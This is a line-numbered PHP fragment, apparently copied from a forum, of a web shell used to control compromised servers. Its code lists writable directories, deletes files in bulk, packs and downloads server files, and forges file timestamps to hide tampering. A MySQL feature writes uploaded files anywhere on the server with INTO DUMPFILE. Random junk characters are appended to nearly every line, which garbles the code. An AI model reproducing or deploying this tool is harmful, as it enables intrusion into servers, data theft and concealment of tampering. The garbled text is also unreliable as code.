  327.                         m('Modify file the last modified '.(@touch($curfile,$time,$time) ? 'success' : 'failed'));2 R' Y& c* M9 }9 X$ R
  328.                 }
      n, ?% R+ W* R& n
  329.         }
    8 o* w6 k# Q2 H; R) @0 k5 n
  330. ; o8 X/ ]$ w' F. ]
  331.         // 打包下载5 M; q, `/ |+ {- h' q  O" z
  332.         elseif($doing == 'downrar') {
    $ x* C* q8 s  Y1 J2 O) z3 U
  333.                 if ($dl) {3 L' I4 `( Y4 x* S# Q* T0 f
  334.                         $dfiles='';9 d" \4 D, x/ l: K
  335.                         foreach ($dl as $filepath => $value) {
    + w8 k: f2 f! @1 i0 |9 w
  336.                                 $dfiles.=$filepath.',';
    8 J. E. O0 w( r6 V
  337.                         }* {! \* r7 ?# _0 W% r
  338.                         $dfiles=substr($dfiles,0,strlen($dfiles)-1);
    : v5 ^( l4 g/ |9 S8 r4 C- t
  339.                         $dl=explode(',',$dfiles);4 J1 C- }+ G  U2 \7 K+ Z. J7 W& V& B/ E6 h
  340.                         $zip=new PHPZip($dl);
    3 j1 _5 h- s2 n/ _- r  `) @9 u1 i
  341.                         $code=$zip->out;
    " g7 S/ a; n& p. T: t
  342.                         header('Content-type: application/octet-stream');' X' x7 q3 H0 V
  343.                         header('Accept-Ranges: bytes');8 ?" z( l5 A$ e8 f
  344.                         header('Accept-Length: '.strlen($code));: p8 V! [$ d. `
  345.                         header('Content-Disposition: attachment;filename='.$_SERVER['HTTP_HOST'].'_Files.tar.gz');$ h/ q3 M) h: b2 K, W1 D2 S
  346.                         echo $code;1 D/ s; V* |4 a% o$ v; b8 ?" k2 ^
  347.                         exit;6 b0 P+ R5 [1 L( J
  348.                 } else {& h1 C* N* _# }3 ?! @
  349.                         m('Please select file(s)');% i4 l4 g; m/ `. U0 c( A! c
  350.                 }
      z6 b  X2 {3 r
  351.         }
    1 @* w. z/ Y& o) a- q8 y3 q

  352. # N3 f$ h8 [; ]/ g' V% Q7 j
  353.         // 批量删除文件. ]% k7 N+ k. O2 n2 E9 {- w
  354.         elseif($doing == 'delfiles') {
    2 D8 p4 p- r6 r; M4 N0 Q2 b
  355.                 if ($dl) {* U+ Q9 ?* C& s$ w0 A. F
  356.                         $dfiles='';
    ' p' X- X3 |4 H! A% @
  357.                         $succ = $fail = 0;
    , h4 n: J1 x; q' X
  358.                         foreach ($dl as $filepath => $value) {
    " ^) u( {! p, V( t' A6 c2 @
  359.                                 if (@unlink($filepath)) {
    : {+ `% x1 G" ^5 m/ n8 t
  360.                                         $succ++;
    " ]! L& ~! Q2 S4 d, v' J+ j, q( |
  361.                                 } else {
    4 I+ C$ Y3 R! u& I2 m. b
  362.                                         $fail++;
    3 r0 g4 n0 \! W9 X
  363.                                 }( f  D* z$ D) E3 A& R6 D
  364.                         }8 v' H+ y& H6 B
  365.                         m('Deleted file have finished,choose '.count($dl).' success '.$succ.' fail '.$fail);
    7 J5 h4 \- q# i' J( M
  366.                 } else {
    * S, g, v8 y1 k9 F5 C  p
  367.                         m('Please select file(s)');
    8 o" l& [2 r/ z+ D/ T
  368.                 }  r, L" Z. Q/ Q" O4 w
  369.         }
    & D! T  \( a* D9 g
  370. / p% w. N4 C4 B3 m3 ^" c1 i! S7 R
  371.         //操作完毕3 |3 s+ I0 e/ y% ]; G
  372.         formhead(array('name'=>'createdir'));
    , l( o6 _* q. q2 u# j7 m) a/ {# L
  373.         makehide('newdirname');; P- e8 ~( D  I" @! j# F6 L7 _. G1 D
  374.         makehide('dir',$nowpath);* o  d, |( F0 D8 a/ C/ I
  375.         formfoot();4 J# w' z6 o& f& U* `
  376.         formhead(array('name'=>'fileperm'));
    3 f/ r- |4 g% |/ y  n  a
  377.         makehide('newperm');( L4 _1 h% Q" N/ l, O  Y1 X& @
  378.         makehide('pfile');8 h% d* V( w) Z; g" `) @9 K& W
  379.         makehide('dir',$nowpath);/ M) K) E+ m7 i' D& H+ Y+ Q
  380.         formfoot();
    ( _% q0 K( ^7 y( l/ i% v6 r+ e# j
  381.         formhead(array('name'=>'copyfile'));9 A; o  `- a/ i8 K) d
  382.         makehide('sname');
    : f3 f5 C2 r  ~2 L. p/ d5 f
  383.         makehide('tofile');
    . S, I. E6 ?0 [8 B& h( ~9 a9 M
  384.         makehide('dir',$nowpath);  I9 |: H5 K, T" T
  385.         formfoot();) h& t+ N# ^* v. W( I
  386.         formhead(array('name'=>'rename'));  c; u; u- p1 _: _
  387.         makehide('oldname');9 C" [2 Y! t8 V* g
  388.         makehide('newfilename');& v) e* D  k& ?$ I* K# m
  389.         makehide('dir',$nowpath);
    . e5 ]$ C( C) p0 K0 a0 [0 l
  390.         formfoot();5 J# }. I9 x2 [8 X' I* a
  391.         formhead(array('name'=>'fileopform'));
    " p7 h  [5 b" u1 `  j* h
  392.         makehide('action');
    / n4 b" B) P( W8 ^: }: \2 n
  393.         makehide('opfile');+ A4 @5 v% \! j
  394.         makehide('dir');
    7 u1 x' d; k8 K, G
  395.         formfoot();
    # \2 P5 v+ Y8 m, E$ P. r6 l) I- P
  396. 0 }+ K8 T0 t3 P3 N8 q
  397.         $free = @disk_free_space($nowpath);
    ( r& ?& A6 m* F% A2 u
  398.         !$free && $free = 0;0 ~) h; D3 u9 t; @0 ^( B
  399.         $all = @disk_total_space($nowpath);
    2 T' p/ [- ~* d# w- b  Q: X4 n
  400.         !$all && $all = 0;+ N. i" z' v6 `
  401.         $used = $all-$free;1 W! \7 i! @- B7 F9 p
  402.         $used_percent = @round(100/($all/$free),2);* \6 i# d1 i+ K; f$ }7 \3 m+ C, E
  403.         p('<h2>File Manager - Current disk free '.sizecount($free).' of '.sizecount($all).' ('.$used_percent.'%)</h2>');2 b6 c( M. x$ C' Z$ E

  404. 9 T6 V1 I# }: `6 y/ `, S
  405. ?>
    5 K; e- Q! `7 ~1 G8 m$ o6 G% V
  406. <table width="100%" border="0" cellpadding="0" cellspacing="0" style="margin:10px 0;">' g( m  m! T0 U
  407.   <form action="" method="post" id="godir" name="godir">
    8 k) Q1 A" ?3 X6 d: Q2 p
  408.   <tr>- t' J6 L0 R: c
  409.     <td nowrap>Current Directory (<?php echo $dir_writeable;?>, <?php echo getChmod($nowpath);?>)</td>' O* V2 W; ^9 a4 h# {# u- u
  410.         <td width="100%"><input name="view_writable" value="0" type="hidden" /><input class="input" name="dir" value="<?php echo $nowpath;?>" type="text" style="width:100%;margin:0 8px;"></td>' L/ L* I+ L- o/ d' C
  411.     <td nowrap><input class="bt" value="GO" type="submit"></td>. E1 m+ y& i2 `3 ]4 l
  412.   </tr>
    6 U5 V$ o" z; R: v- g: f$ E
  413.   </form># ~) w' G* I+ R7 A4 o& j& a4 V
  414. </table>
    " q7 U: Y  X& C* q9 E9 |; _, b5 A
  415. <script type="text/javascript">2 v: N3 f7 b  D) @
  416. function createdir(){
    * B* j6 N. r: A5 K
  417.         var newdirname;$ Z. M% u) u. E' ~, b3 f+ N8 a
  418.         newdirname = prompt('Please input the directory name:', '');/ i0 T1 r' B# R& G# F  D% ^
  419.         if (!newdirname) return;
    . {7 @# y' Y! p. U: q8 K
  420.         $('createdir').newdirname.value=newdirname;3 J+ {2 c% L! g! O
  421.         $('createdir').submit();4 {9 m8 [/ i% ^( Q
  422. }
    ' a! c& V% q1 ^. G, e
  423. function fileperm(pfile){
    ; x8 }! c( V6 l8 U& U, A$ `
  424.         var newperm;9 n6 m3 s* q3 K  ~" C
  425.         newperm = prompt('Current file:'+pfile+'\nPlease input new attribute:', '');
    0 J, ^! c, h4 C" L) p1 O
  426.         if (!newperm) return;
    " z2 C9 o6 p  U& y; a; |( _+ x0 s
  427.         $('fileperm').newperm.value=newperm;2 v, e9 X0 Z) c/ }
  428.         $('fileperm').pfile.value=pfile;" q! `, @& ]  J9 S  g: v2 S# m
  429.         $('fileperm').submit();' X; h5 D, ~! C0 x
  430. }
    : \- N  Q- f6 I/ D7 R% W2 l
  431. function copyfile(sname){8 g( Y6 \1 \4 @& t
  432.         var tofile;
    0 H  I9 f9 P5 p* u4 X0 Z
  433.         tofile = prompt('Original file:'+sname+'\nPlease input object file (fullpath):', '');
    0 _) \* t2 ^" b! y! g& {
  434.         if (!tofile) return;
    0 N2 S! o( x, `
  435.         $('copyfile').tofile.value=tofile;  e9 }' C: j" L( J) `
  436.         $('copyfile').sname.value=sname;2 H& o1 h& o! Q: ^7 f3 o
  437.         $('copyfile').submit();
    0 u: L$ F  {% G
  438. }/ }+ T8 Y. ~3 A% A7 q4 E9 m
  439. function rename(oldname){5 {4 z) c! w" }8 }# T
  440.         var newfilename;
      Q- A, ~" ?' q! S2 l8 ?- n9 A
  441.         newfilename = prompt('Former file name:'+oldname+'\nPlease input new filename:', '');
    " y! W; `8 N# U" Q6 N
  442.         if (!newfilename) return;
    # U- G. R1 y3 O8 Q+ |( K
  443.         $('rename').newfilename.value=newfilename;
    * M& V# K8 S6 m) y3 \
  444.         $('rename').oldname.value=oldname;/ G& E% B  w- ^% N. I
  445.         $('rename').submit();" V9 I/ [; D2 t
  446. }
    " V) D: b4 s/ ]7 A% E9 I
  447. function dofile(doing,thefile,m){
    + h( t  n$ u/ i7 l9 |2 a; a
  448.         if (m && !confirm(m)) {
    $ v) @: G# F6 m) t( [2 }5 g4 @
  449.                 return;2 [$ F- ]. q% }8 r5 ?! K" i1 J% Z
  450.         }6 K% y3 m5 O5 V5 h6 |
  451.         $('filelist').doing.value=doing;3 _9 V& o% h) ~9 T7 X9 m! o- n, g" u. Y' y
  452.         if (thefile){5 J9 L  j9 e! [7 p+ h. H
  453.                 $('filelist').thefile.value=thefile;
      o+ m# u, n  X7 ~- D8 E
  454.         }0 u5 B" ~! ^' `: |6 ^
  455.         $('filelist').submit();4 p9 y% @9 O1 ?& g
  456. }
    , f  [0 \  G7 Z
  457. function createfile(nowpath){
    ( z( u. D( E. L6 ~  [+ K4 ^* J9 \
  458.         var filename;* ?1 P1 w8 Z8 ?) U8 T$ R7 ?
  459.         filename = prompt('Please input the file name:', '');4 e5 @3 s$ |. U6 O0 w- p- O
  460.         if (!filename) return;8 F$ B7 |/ ~# c: V$ I; a" b( \
  461.         opfile('editfile',nowpath + filename,nowpath);. k* R" V# _. q' V
  462. }
    8 k) G% p' |# ?  N! d( z! w$ x2 C
  463. function opfile(action,opfile,dir){! m" |9 l% U& `3 R& u6 Q- R, b
  464.         $('fileopform').action.value=action;& V" w& r/ T2 L: E$ y5 k
  465.         $('fileopform').opfile.value=opfile;
    6 J5 @* D) H1 }; l- L' T
  466.         $('fileopform').dir.value=dir;
    % P2 x& A) R5 \- j, s
  467.         $('fileopform').submit();/ j6 V) D; t% d, [  t
  468. }( M. F/ T( C& \* |' S! Y! N
  469. function godir(dir,view_writable){
    : g4 d: ]/ p; ]' s" C
  470.         if (view_writable) {
    8 F- v# p) {! H5 o& j+ Q+ u
  471.                 $('godir').view_writable.value=1;2 j' ^) b1 W/ k- c8 j: w7 Z  L
  472.         }
    0 |2 C: x+ E1 n
  473.         $('godir').dir.value=dir;2 f; A9 }: q! S3 d. y* `0 V' }1 H
  474.         $('godir').submit();
      `( B" ?2 u& S2 N/ v' d
  475. }
    1 k1 _# `# w1 \( w
  476. </script>
    3 L- o; b4 a$ Q  u* P
  477.   <?php
    6 U0 u) M4 S$ ?& d
  478.         tbhead();' e0 ]6 H6 M( Y
  479.         p('<form action="'.$self.'" method="POST" enctype="multipart/form-data"><tr class="alt1"><td colspan="7" style="padding:5px;">');3 V" ?9 ]% v) z; M. c
  480.         p('<div style="float:right;"><input class="input" name="uploadfile" value="" type="file" /> <input class="bt" name="doupfile" value="Upload" type="submit" /><input name="uploaddir" value="'.$dir.'" type="hidden" /><input name="dir" value="'.$dir.'" type="hidden" /></div>');
    ( }( Y0 c& G- |3 \
  481.         p('<a href="javascript:godir(\''.$_SERVER["DOCUMENT_ROOT"].'\');">WebRoot</a>');
    0 T  o4 m, W0 i4 m+ M' y
  482.         if ($view_writable) {
    2 o7 D# a% |. B" D, R8 f
  483.                 p(' | <a href="javascript:godir(\''.$nowpath.'\');">View All</a>');4 d8 z4 g1 v5 F* Z' T/ K3 F; x
  484.         } else {! X: w  u8 w3 q# w1 {9 U4 K) M" Y
  485.                 p(' | <a href="javascript:godir(\''.$nowpath.'\',\'1\');">View Writable</a>');
    ' h1 b7 Z% ]) w& |+ m
  486.         }  z9 A% G: T! f
  487.         p(' | <a href="javascript:createdir();">Create Directory</a> | <a href="javascript:createfile(\''.$nowpath.'\');">Create File</a>');
    8 M( D6 ^- F2 F8 G% L! k
  488.         if (IS_WIN && IS_COM) {6 c: ~; Y0 N: O& S; N
  489.                 $obj = new COM('scripting.filesystemobject');: v% T  ]5 @, p, Q) Z" ^1 X
  490.                 if ($obj && is_object($obj)) {' N5 V1 U% n7 x
  491.                         $DriveTypeDB = array(0 => 'Unknow',1 => 'Removable',2 => 'Fixed',3 => 'Network',4 => 'CDRom',5 => 'RAM Disk');
    8 I  j: d- A. D- f
  492.                         foreach($obj->Drives as $drive) {
    8 D- \" x) A5 i1 W) T% l  y" |
  493.                                 if ($drive->DriveType == 2) {( e* V; L6 ~% [
  494.                                         p(' | <a href="javascript:godir(\''.$drive->Path.'/\');" title="Size:'.sizecount($drive->TotalSize).'
    ! @8 W+ ^/ X; _$ I
  495. Free:'.sizecount($drive->FreeSpace).'9 `. P! n5 K; g$ R  u- I! a* y: e
  496. Type:'.$DriveTypeDB[$drive->DriveType].'">'.$DriveTypeDB[$drive->DriveType].'('.$drive->Path.')</a>');
    . D5 U7 ]) D6 B! c& k$ Z" W8 \
  497.                                 } else {
    ; r( D8 G6 s* F% n
  498.                                         p(' | <a href="javascript:godir(\''.$drive->Path.'/\');" title="Type:'.$DriveTypeDB[$drive->DriveType].'">'.$DriveTypeDB[$drive->DriveType].'('.$drive->Path.')</a>');
    2 z# @, |) ^, [/ R5 }# p6 X# `
  499.                                 }
    6 S+ z+ @$ ~8 y5 T4 `  t& k
  500.                         }9 A& @  ]+ J2 W5 P9 N1 a4 P
  501.                 }
    ) N1 }* \8 {  z2 S" x
  502.         }
    : i' p: z+ y- C
  503. 0 X2 z+ D$ v! `$ E
  504.         p('</td></tr></form>');
    : A4 j8 G" m3 a9 C4 }
  505. , ^, ]7 |1 l% a( j4 J- L" F; N  s
  506.         p('<tr class="head"><td> </td><td>Filename</td><td width="16%">Last modified</td><td width="10%">Size</td><td width="20%">Chmod / Perms</td><td width="22%">Action</td></tr>');$ d) t  ?4 W/ g- s9 ?

  507. + X/ \* j$ I9 w  w6 X
  508.         //查看所有可写文件和目录
    ( g. j. w9 t' K# E
  509.         $dirdata=array();
    % s/ O7 T* \0 ]" H6 E) e( @
  510.         $filedata=array();
    ( K  @2 x' x( W- V/ p: k

  511. 9 E: Y( i; ]& j. o
  512.         if ($view_writable) {
    1 Q7 U4 A( h# E5 H& N. i
  513.                 $dirdata = GetList($nowpath);
    - m2 E0 Q+ }+ o. D6 S# B. S3 _
  514.         } else {/ T2 ]& K. F  i
  515.                 // 目录列表
    , s, }) h+ ]& Y1 m7 ~
  516.                 $dirs=@opendir($dir);
    , `3 V* F! V( c7 h  u5 f0 l
  517.                 while ($file=@readdir($dirs)) {8 E/ L& z0 f7 l
  518.                         $filepath=$nowpath.$file;
    * D: h6 c* T. }) J
  519.                         if(@is_dir($filepath)){8 E3 H2 U, I. A& J: X6 h
  520.                                 $dirdb['filename']=$file;8 Y2 G' k' ?- M5 C' C+ K- n2 Z- l
  521.                                 $dirdb['mtime']=@date('Y-m-d H:i:s',filemtime($filepath));
    ) T$ K9 ?0 i; H; l: }0 F
  522.                                 $dirdb['dirchmod']=getChmod($filepath);1 Q) l% A+ g+ Z- e
  523.                                 $dirdb['dirperm']=getPerms($filepath);) p7 R0 Z/ W! h- |
  524.                                 $dirdb['fileowner']=getUser($filepath);
    / {/ y$ |! j/ ^* r
  525.                                 $dirdb['dirlink']=$nowpath;
    . d. d  a" v$ S, x- z3 [1 D. C
  526.                                 $dirdb['server_link']=$filepath;* I% R+ {: u0 Y1 s4 b3 A
  527.                                 $dirdb['client_link']=ue($filepath);
    + P* ]' [6 e# d; l
  528.                                 $dirdata[]=$dirdb;
    2 {7 l' {. A6 i! L3 {) t
  529.                         } else {               
    ) @3 a# i# u4 U: Z
  530.                                 $filedb['filename']=$file;9 c3 l; @% N8 @! x
  531.                                 $filedb['size']=sizecount(@filesize($filepath));* R( V4 u0 ^/ R; [2 G7 H* N1 }, W
  532.                                 $filedb['mtime']=@date('Y-m-d H:i:s',filemtime($filepath));
    # ?9 k9 i" N6 [0 d: B  c
  533.                                 $filedb['filechmod']=getChmod($filepath);
    4 Y* z; D3 j- \8 ?, K6 i0 v
  534.                                 $filedb['fileperm']=getPerms($filepath);+ v& _( C  ?, X3 B+ T
  535.                                 $filedb['fileowner']=getUser($filepath);# F6 i+ `8 b6 H
  536.                                 $filedb['dirlink']=$nowpath;
    ) b: H* r* Z3 D7 @- I
  537.                                 $filedb['server_link']=$filepath;
      A2 R+ |. P' W: X" |, ?/ Z
  538.                                 $filedb['client_link']=ue($filepath);; d4 @( [% {8 m2 W
  539.                                 $filedata[]=$filedb;' h! \6 V! N/ L$ ~
  540.                         }
    # b1 {( ~) j- S* n8 @# b
  541.                 }// while
    & F% |! @: Y2 i' e
  542.                 unset($dirdb);+ f. i9 L* y: Q# O# n+ {( x
  543.                 unset($filedb);' d( \0 d- Y) Z& d
  544.                 @closedir($dirs);
    : U" q# N# _  q7 m: m
  545.         }
    ) n1 J4 Q* R! d7 o7 A# c: N$ [9 o$ z
  546.         @sort($dirdata);
    , }# w# Y$ [1 n3 j# i- H7 w
  547.         @sort($filedata);
    9 O0 d- C3 c% B6 o% w
  548.         $dir_i = '0';
    # y) K) u! j1 F) U* H$ B
  549.         foreach($dirdata as $key => $dirdb){( c2 H# Y  P5 K7 s
  550.                 if($dirdb['filename']!='..' && $dirdb['filename']!='.') {
    5 w$ S- _5 U' w. y% y, V( D( n
  551.                         $thisbg = bg();
    $ l8 V& s6 |# \; `0 M: P' N
  552.                         p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');8 E6 b, \! \3 A
  553.                         p('<td width="2%" nowrap><font face="wingdings" size="3">0</font></td>');
    : o( z8 V! @+ o/ \- g/ S" N
  554.                         p('<td><a href="javascript:godir(\''.$dirdb['server_link'].'\');">'.$dirdb['filename'].'</a></td>');# j) }7 B, w( v0 A7 |
  555.                         p('<td nowrap>'.$dirdb['mtime'].'</td>');
      w  Q3 ?1 c0 o; g" z
  556.                         p('<td nowrap>--</td>');6 u- D9 k  y% S0 V0 t% k
  557.                         p('<td nowrap>');
    7 @" F  C0 H/ w
  558.                         p('<a href="javascript:fileperm(\''.$dirdb['server_link'].'\');">'.$dirdb['dirchmod'].'</a> / ');
    1 w' D  [4 F2 `. a: L' h/ d% Q5 Y
  559.                         p('<a href="javascript:fileperm(\''.$dirdb['server_link'].'\');">'.$dirdb['dirperm'].'</a>'.$dirdb['fileowner'].'</td>');7 q' U! h+ O) [7 u) K; c
  560.                         p('<td nowrap><a href="javascript:dofile(\'deldir\',\''.$dirdb['server_link'].'\',\'Are you sure will delete '.$dirdb['filename'].'? \\n\\nIf non-empty directory, will be delete all the files.\')">Del</a> | <a href="javascript:rename(\''.$dirdb['server_link'].'\');">Rename</a></td>');
    $ o3 M9 Z$ b  W% U6 i8 n
  561.                         p('</tr>');
    " @# f$ p  ]4 u! ]& D
  562.                         $dir_i++;! V- d" K( W) k& n
  563.                 } else {
    / }& g) {0 }2 s* P
  564.                         if($dirdb['filename']=='..') {: H2 i4 W/ y  d: q" g( H' B
  565.                                 p('<tr class='.bg().'>');1 Z0 r/ q& r3 D" y( Y" x
  566.                                 p('<td align="center"><font face="Wingdings 3" size=4>=</font></td><td nowrap colspan="5"><a href="javascript:godir(\''.getUpPath($nowpath).'\');">Parent Directory</a></td>');' {: i  h. e  f) D' ~3 H! \
  567.                                 p('</tr>');
    0 z0 m% _! g0 v9 s. h7 O7 b
  568.                         }# `% _" p# t( B: z
  569.                 }9 }7 L8 E' S: V. k- L
  570.         }  ]' Y$ F$ T3 M6 F7 ?

  571. ( o$ V* {# Y  z- G/ {* e
  572.         p('<tr bgcolor="#dddddd" stlye="border-top:1px solid #fff;border-bottom:1px solid #ddd;"><td colspan="6" height="5"></td></tr>');2 Z, A& v8 p# c; O- a
  573.         p('<form id="filelist" name="filelist" action="'.$self.'" method="post">');6 r9 y: T4 f3 i+ V$ X3 o( O4 E
  574.         makehide('action','file');& X* {& B3 @/ o& z
  575.         makehide('thefile');
    7 L8 q2 U/ t3 {$ N6 v9 ?( H7 x& P
  576.         makehide('doing');
    9 z: V+ f9 D! ?  n. k; ]) y1 h
  577.         makehide('dir',$nowpath);
    $ {9 B# M/ ~# W
  578.         $file_i = '0';4 ^/ N5 P# B- F
  579.         foreach($filedata as $key => $filedb){5 X' ]& ^" T9 p$ z* E
  580.                 if($filedb['filename']!='..' && $filedb['filename']!='.') {' e; ?" i& P& J) e/ E  \# K
  581.                         $fileurl = str_replace(SA_ROOT,'',$filedb['server_link']);+ P8 h) {8 i+ @, ~1 t+ D
  582.                         $thisbg = bg();
    $ p: P  T. o2 U1 h! Z/ r2 T
  583.                         p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');' Z  l3 c% o# d# m8 |
  584.                         p('<td width="2%" nowrap><input type="checkbox" value="1" name="dl['.$filedb['server_link'].']"></td>');2 j6 ^- J1 d/ i8 T3 @, f
  585.                         p('<td><a href="'.$fileurl.'" target="_blank">'.$filedb['filename'].'</a></td>');/ }1 \, R* ?, Y) h6 p. p# a  Y
  586.                         p('<td nowrap>'.$filedb['mtime'].'</td>');; _( }- `- d. |' C6 x0 G; G
  587.                         p('<td nowrap>'.$filedb['size'].'</td>');) m3 g0 U& u7 S& C
  588.                         p('<td nowrap>');
    * ]3 i, T! L: K4 _
  589.                         p('<a href="javascript:fileperm(\''.$filedb['server_link'].'\');">'.$filedb['filechmod'].'</a> / ');
    # g9 Q4 ]. f+ M1 w2 s
  590.                         p('<a href="javascript:fileperm(\''.$filedb['server_link'].'\');">'.$filedb['fileperm'].'</a>'.$filedb['fileowner'].'</td>');" r8 y$ O2 q7 k2 Z; z7 T' l& @
  591.                         p('<td nowrap>');
    8 D* f5 j0 \- I0 a# u5 u
  592.                         p('<a href="javascript:dofile(\'downfile\',\''.$filedb['server_link'].'\');">Down</a> | ');
    : M& N, i' [6 q4 e6 X( B
  593.                         p('<a href="javascript:copyfile(\''.$filedb['server_link'].'\');">Copy</a> | ');6 _6 X. f$ c9 N2 B! }) D7 G
  594.                         p('<a href="javascript:opfile(\'editfile\',\''.$filedb['server_link'].'\',\''.$filedb['dirlink'].'\');">Edit</a> | ');8 `6 W9 r0 |- b+ g8 Y: R- g5 \
  595.                         p('<a href="javascript:rename(\''.$filedb['server_link'].'\');">Rename</a> | ');" M" F; n% N  o: v0 W. S
  596.                         p('<a href="javascript:opfile(\'newtime\',\''.$filedb['server_link'].'\',\''.$filedb['dirlink'].'\');">Time</a>');* e& r4 f& l& d4 V+ l7 Q7 g8 E
  597.                         p('</td></tr>');
    4 V9 x& v6 u# }* E4 n2 F
  598.                         $file_i++;
    ; B  z7 v% p" {2 ]' t
  599.                 }8 }+ D1 O# f9 O" p1 L' \
  600.         }
    ) U9 B( k9 ]- o5 c
  601.         p('<tr class="'.bg().'"><td align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td><td><a href="javascript:dofile(\'downrar\');">Packing download selected</a> - <a href="javascript:dofile(\'delfiles\');">Delete selected</a></td><td colspan="4" align="right">'.$dir_i.' directories / '.$file_i.' files</td></tr>');5 ?6 [4 b/ W. D, I
  602.         p('</form></table>');
    % A/ K, B% x) t4 H8 h
  603. }// end dir7 M0 G& J5 y; n2 T" u

  604. 7 U2 v3 J: b; Q3 G
  605. elseif ($action == 'sqlfile') {
    ' X& P7 G* ^" ?5 n9 b4 d
  606.         if($doing=="mysqlupload"){; K; ]8 k9 @8 p( k& C/ g6 o( o
  607.                 $file = $_FILES['uploadfile'];+ w8 R8 K. d* I# D- c
  608.                 $filename = $file['tmp_name'];3 s- f) I  }5 a8 {6 \+ j! U
  609.                 if (file_exists($savepath)) {
    0 J, P* F' m6 A& s6 `
  610.                         m('The goal file has already existed');
    2 d% ]0 J' f+ ^; H7 c" X
  611.                 } else {1 X& L3 k5 D; i( d5 ~& a
  612.                         if(!$filename) {
    ' P. o$ e  i5 V8 B% @0 g7 V
  613.                                 m('Please choose a file');( x+ S# f2 x( D& M) D! ]
  614.                         } else {0 I) w6 M4 w/ u" z1 b9 S
  615.                                 $fp=@fopen($filename,'r');; L8 ]; N/ m" r' F
  616.                                 $contents=@fread($fp, filesize($filename));3 P6 z# k% h3 O
  617.                                 @fclose($fp);8 O4 b7 S4 e3 E. N& J8 J$ v
  618.                                 $contents = bin2hex($contents);5 q3 L5 w1 V7 M2 `8 @1 u2 d7 f5 a# S
  619.                                 if(!$upname) $upname = $file['name'];
    ) u! D9 V9 ]$ y1 k) ]
  620.                                 dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);$ i* K$ T$ K/ k+ w1 @0 s+ C3 c/ a
  621.                                 $result = q("SELECT 0x{$contents} FROM mysql.user INTO DUMPFILE '$savepath';");
    # F$ d' U( @9 w- ^( \- I
  622.                                 m($result ? 'Upload success' : 'Upload has failed: '.mysql_error());  z; P4 W# X% Z* h
  623.                         }1 D; u; C5 _$ d" c! p. s
  624.                 }
    + B# R' F7 F6 E' `; K
  625.         }! }# `: p- @& T, j# M
  626. ?># ~+ {1 `# w& X$ P% b
  627. <script type="text/javascript">+ h3 r' x9 b/ E. o+ i& Z
  628. function mysqlfile(doing){1 B6 P& C7 r$ g: Q8 G
  629.         if(!doing) return;, C' x& I  _6 [5 V9 z9 Y
  630.         $('doing').value=doing;
    . }2 M2 i  h; Y* i9 v
  631.         $('mysqlfile').dbhost.value=$('dbinfo').dbhost.value;* ]. g2 A. ~# t% ^" }
  632.         $('mysqlfile').dbport.value=$('dbinfo').dbport.value;
    ; }$ u  W7 B! Q! W  V) b% ~6 a3 v
  633.         $('mysqlfile').dbuser.value=$('dbinfo').dbuser.value;
    + G( `- ]- }' c; F( W
  634.         $('mysqlfile').dbpass.value=$('dbinfo').dbpass.value;4 l/ `3 E1 ?& W6 p. [
  635.         $('mysqlfile').dbname.value=$('dbinfo').dbname.value;
    - M( z/ G" ~) Y) Y2 Y  {
  636.         $('mysqlfile').charset.value=$('dbinfo').charset.value;
    4 z; `: U# d7 K" x8 \+ I; ?! v+ r
  637.         $('mysqlfile').submit();5 O* w7 L# b# @$ k
  638. }
    " p- ~4 |$ A5 J5 P
  639. </script>
    8 R. u( r  u! l1 q+ W( R2 ~
  640. <?php
    4 {0 ]2 K  y# m" s3 C  u- K
  641.         !$dbhost && $dbhost = 'localhost';* B+ Z' |/ n, m+ N5 J0 f( T
  642.         !$dbuser && $dbuser = 'root';
    8 _$ E4 d" S0 K4 p9 b4 R
  643.         !$dbport && $dbport = '3306';- O+ C5 U! O6 Q  j& N4 Y: {
  644.         $charsets = array(''=>'Default','gbk'=>'GBK', 'big5'=>'Big5', 'utf8'=>'UTF-8', 'latin1'=>'Latin1');. S) N; l( Y4 G9 i( m7 |
  645.         formhead(array('title'=>'MYSQL Information','name'=>'dbinfo'));' N1 R  L4 F4 n$ J1 s
  646.         makehide('action','sqlfile');
    # r- Q2 F( ]- f8 {$ q
  647.         p('<p>');
    / w' n& ]! `  W
  648.         p('DBHost:');
    5 r& G. I2 D4 f) j* c* D6 g$ V" `4 ^4 v
  649.         makeinput(array('name'=>'dbhost','size'=>20,'value'=>$dbhost));9 k6 w; ~+ p" x4 _. T! ^
  650.         p(':');& j6 ?7 ]" _, t; s- }; W
  651.         makeinput(array('name'=>'dbport','size'=>4,'value'=>$dbport));, J4 G$ o8 U+ x9 B: ~3 S
  652.         p('DBUser:');
    . u% j# X( |  a; T
  653.         makeinput(array('name'=>'dbuser','size'=>15,'value'=>$dbuser));
    7 v' N8 [) E, {5 j. \2 }+ E- |
  654.         p('DBPass:');
    ! j, m% E$ N5 I2 r6 H$ g* P. D
  655.         makeinput(array('name'=>'dbpass','size'=>15,'value'=>$dbpass));
    * m' f9 E( l) Z) D  V6 z9 g
  656.         p('DBName:');
    % R4 `$ c3 h0 g# R6 F
  657.         makeinput(array('name'=>'dbname','size'=>15,'value'=>$dbname));( w+ q- S) c0 U% t& g+ l6 ~9 O
  658.         p('DBCharset:');
    ' y  ]' d7 f* q, Z- L
  659.         makeselect(array('name'=>'charset','option'=>$charsets,'selected'=>$charset));- C; Q& v% k/ [, I
  660.         p('</p>');5 b" @# R9 v7 i  f& e
  661.         formfoot();1 V1 b6 W- ~" ?: G6 z4 L. o
  662.         p('<form action="'.$self.'" method="POST" enctype="multipart/form-data" name="mysqlfile" id="mysqlfile">');
    , Z' k; x5 J, b* [1 p3 C/ i) J" ~  W
  663.         p('<h2>Upload file</h2>');
    & Z6 a1 e7 D3 T! d
  664.         p('<p><b>This operation the DB user must has FILE privilege</b></p>');
    + ?+ G& P- m2 E2 a1 F
  665.         p('<p>Save path(fullpath): <input class="input" name="savepath" size="45" type="text" /> Choose a file: <input class="input" name="uploadfile" type="file" /> <a href="javascript:mysqlfile(\'mysqlupload\');">Upload</a></p>');" w8 r5 g5 v1 B% B$ m5 u3 P' t: ]
  666.         p('<h2>Download file</h2>');; B9 |& _& ]$ w$ Q, @6 ?
